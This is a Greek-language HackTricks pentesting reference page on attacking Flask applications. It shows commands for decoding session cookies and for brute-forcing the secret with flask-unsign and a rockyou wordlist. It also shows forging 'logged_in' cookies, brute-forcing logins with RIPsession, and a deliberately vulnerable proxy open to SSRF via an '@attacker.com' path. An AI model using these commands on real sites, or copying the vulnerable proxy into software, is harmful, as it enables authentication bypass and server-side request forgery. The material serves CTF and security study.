3.4 KiB
Raw Blame History

Flask

{{#include ../../banners/hacktricks-training.md}}

Πιθανώς αν παίζετε ένα CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.

Cookies

Το προεπιλεγμένο όνομα συνεδρίας cookie είναι session.

Decoder

Online αποκωδικοποιητής cookies Flask: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Πάρτε το πρώτο μέρος του cookie μέχρι το πρώτο σημείο και αποκωδικοποιήστε το σε Base64.

echo "ImhlbGxvIg" | base64 -d

Το cookie υπογράφεται επίσης χρησιμοποιώντας έναν κωδικό πρόσβασης

Flask-Unsign

Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Υπογραφή

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval για να υπογράψει αυτόματα τα payloads του sqlmap για το flask χρησιμοποιώντας ένα γνωστό μυστικό.

Proxy Flask σε SSRF

Σε αυτή την αναφορά εξηγείται πώς το Flask επιτρέπει ένα αίτημα που ξεκινά με τον χαρακτήρα "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Ποιο από τα παρακάτω σενάρια:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως "@attacker.com" προκειμένου να προκαλέσει ένα SSRF.

{{#include ../../banners/hacktricks-training.md}}